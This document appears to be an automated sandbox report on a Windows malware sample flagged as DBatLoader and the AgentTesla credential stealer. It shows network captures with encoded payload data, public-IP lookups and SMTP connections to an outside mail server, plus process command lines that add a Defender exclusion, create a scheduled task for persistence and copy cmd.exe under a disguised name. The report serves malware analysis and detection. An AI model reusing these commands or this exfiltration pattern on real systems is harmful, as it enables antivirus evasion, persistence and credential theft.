2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 Data Ascii: u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKS
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 Data Ascii: q6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6i
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d Data Ascii: nbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm
2024-11-12 14:55:02 UTC	16384	IN	Data Raw: 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 70 71 36 6d 64 70 72 6d 77 73 72 71 79 74 71 57 6f 6f 37 6d 70 73 71 65 77 73 4c 65 33 75 72 6d 33 74 4c 65 6d 73 71 4f 64 73 36 47 7a 75 71 69 6d 6f 4b 65 64 6e 61 43 79 71 4b 57 37 71 36 69 67 75 4a 32 72 74 37 61 37 75 71 53 30 73 4c 71 70 6e 62 4f 31 6e 61 6d 77 6e 37 53 77 6f 4b 53 69 73 72 69 70 71 35 79 35 73 72 65 35 75 4b 65 67 71 36 4b 66 75 61 4f 66 73 37 69 6d 75 4b 65 34 73 35 32 65 74 62 65 79 71 37 53 31 73 4c 53 34 75 35 36 66 73 4b 57 Data Ascii: oKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKWpq6mdprmwsrqytqWoo7mpsqewsLe3urm3tLemsqOds6GzuqimoKednaCyqKW7q6iguJ2rt7a7uqS0sLqpnbO1namwn7SwoKSisripq5y5sre5uKegq6KfuaOfs7imuKe4s52etbeyq7S1sLS4u56fsKW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	104.26.13.205	443	3796	C:\Users\user\AppData\Local\Temp\neworigin.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:55:10 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-12 14:55:10 UTC	399	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:55:10 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e175c8b79822c98-DFW server-timing: cfL4;desc="?proto=TCP&rtt=2709&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=769&delivery_rate=1846938&cwnd=238&unsent_bytes=0&cid=8ce15a732e678848&ts=276&x=0"
2024-11-12 14:55:10 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 Data Ascii: 173.254.250.68

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49750	104.26.13.205	443	2968	C:\Users\user\AppData\Local\Temp\neworigin.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:55:25 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-12 14:55:25 UTC	399	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:55:25 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e175ce8b81647a8-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1375&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=769&delivery_rate=2162808&cwnd=251&unsent_bytes=0&cid=00cf1616bd302eeb&ts=602&x=0"
2024-11-12 14:55:25 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 Data Ascii: 173.254.250.68

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49781	104.26.13.205	443	5328	C:\Users\user\AppData\Local\Temp\neworigin.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:55:33 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-12 14:55:33 UTC	399	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:55:33 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e175d1a9c79e857-DFW server-timing: cfL4;desc="?proto=TCP&rtt=2159&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=769&delivery_rate=1334562&cwnd=243&unsent_bytes=0&cid=df8be34052f87932&ts=359&x=0"
2024-11-12 14:55:33 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 Data Ascii: 173.254.250.68

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 12, 2024 15:55:14.193897009 CET	587	49714	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:13 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:14.194489002 CET	587	49714	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:13 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:14.194719076 CET	587	49714	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:13 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:14.322037935 CET	49714	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:55:14.566231012 CET	587	49714	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:55:14.566481113 CET	49714	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:55:14.810122013 CET	587	49714	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:55:20.072123051 CET	587	49729	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:19 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:20.072320938 CET	49729	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:55:20.314228058 CET	587	49729	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:55:20.314373016 CET	49729	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:55:20.556962013 CET	587	49729	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:55:29.291229010 CET	587	49764	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:29 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:29.291485071 CET	49764	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:55:29.530637026 CET	587	49764	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:55:29.530822039 CET	49764	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:55:29.770565033 CET	587	49764	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:55:36.646610022 CET	587	49791	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:36 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:36.750961065 CET	49791	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:55:36.990494013 CET	587	49791	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:55:36.991472006 CET	49791	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:55:37.238938093 CET	587	49791	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:55:41.566704035 CET	587	49806	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:55:41 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:55:41.566915035 CET	49806	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:55:41.808840036 CET	587	49806	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:55:41.812414885 CET	49806	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:55:42.053936958 CET	587	49806	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:57:52.116003036 CET	587	49998	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:57:51 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:57:52.116137981 CET	49998	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:57:52.360385895 CET	587	49998	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:57:52.360538960 CET	49998	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:57:52.604729891 CET	587	49998	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:58:23.840064049 CET	587	49999	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:58:23 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:58:23.840249062 CET	49999	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:58:24.083244085 CET	587	49999	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 12, 2024 15:58:24.083436966 CET	49999	587	192.168.2.6	51.195.88.199	STARTTLS
Nov 12, 2024 15:58:24.324368954 CET	587	49999	51.195.88.199	192.168.2.6	220 TLS go ahead
Nov 12, 2024 15:59:13.484740019 CET	587	50001	51.195.88.199	192.168.2.6	220-s82.gocheapweb.com ESMTP Exim 4.97.1 #2 Tue, 12 Nov 2024 14:59:13 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 15:59:13.484862089 CET	50001	587	192.168.2.6	51.195.88.199	EHLO 835180
Nov 12, 2024 15:59:14.074748993 CET	587	50001	51.195.88.199	192.168.2.6	250-s82.gocheapweb.com Hello 835180 [173.254.250.68] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP

Target ID:	0
Start time:	09:54:59
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\x.exe"
Imagebase:	0x400000
File size:	1'081'856 bytes
MD5 hash:	31BC6907D6097A76BB1DD891CFC09B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:55:04
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\lxsyrsiW.cmd" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:55:04
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:55:04
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0xa40000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:55:05
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\x.exe /d C:\\Users\\Public\\Libraries\\Wisrysxl.PIF /o
Imagebase:	0xa40000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:55:05
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:55:06
Start date:	12/11/2024
Path:	C:\Users\Public\Libraries\lxsyrsiW.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\lxsyrsiW.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:55:07
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\neworigin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\neworigin.exe"
Imagebase:	0x840000
File size:	250'368 bytes
MD5 hash:	D6A4CF0966D24C1EA836BA9A899751E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2395131406.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:55:07
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Imagebase:	0xb00000
File size:	231'936 bytes
MD5 hash:	50D015016F20DA0905FD5B37D7834823
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:55:09
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Imagebase:	0x650000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:55:09
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:55:09
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f
Imagebase:	0x840000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:55:09
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:55:11
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
Imagebase:	0xb60000
File size:	231'936 bytes
MD5 hash:	50D015016F20DA0905FD5B37D7834823
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:55:11
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe"
Imagebase:	0x6d0000
File size:	231'936 bytes
MD5 hash:	50D015016F20DA0905FD5B37D7834823
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:55:11
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpFB9.tmp.cmd""
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:55:11
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:55:11
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 6
Imagebase:	0x1e0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:55:14
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:55:19
Start date:	12/11/2024
Path:	C:\Users\Public\Libraries\Wisrysxl.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Wisrysxl.PIF"
Imagebase:	0x400000
File size:	1'081'856 bytes
MD5 hash:	31BC6907D6097A76BB1DD891CFC09B7A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:55:21
Start date:	12/11/2024
Path:	C:\Users\Public\Libraries\lxsyrsiW.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\lxsyrsiW.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:55:22
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\neworigin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\neworigin.exe"
Imagebase:	0x680000
File size:	250'368 bytes
MD5 hash:	D6A4CF0966D24C1EA836BA9A899751E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
